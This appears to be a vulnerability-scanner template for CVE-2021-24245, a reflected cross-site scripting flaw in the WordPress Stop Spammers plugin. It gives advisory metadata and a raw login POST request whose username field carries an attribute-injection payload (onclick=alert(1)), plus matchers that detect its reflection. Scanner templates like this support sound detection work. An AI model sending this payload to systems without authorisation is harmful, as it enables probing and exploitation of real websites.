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id : CVE-2021-24245
info :
name : WordPress Plugin Stop Spammers 2021.8 - Reflected XSS
author : edoardottt
severity : medium
description : The Stop Spammers WordPress plugin before 2021.9 did not escape user input when blocking requests (such as matching a spam word), outputting it in an attribute after sanitising it to remove HTML tags, which is not sufficient and lead to a reflected Cross-Site Scripting issue.
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reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-24245
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24245
- https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
- https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24245
cwe-id : CWE-79
tags : cve,cve2021,wordpress,xss,wp-plugin
requests :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP+Cookie+check;
log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
part : header
words :
- "text/html"
- type : word
part : body
words :
- "ad\" accesskey=X onclick=alert(1)"
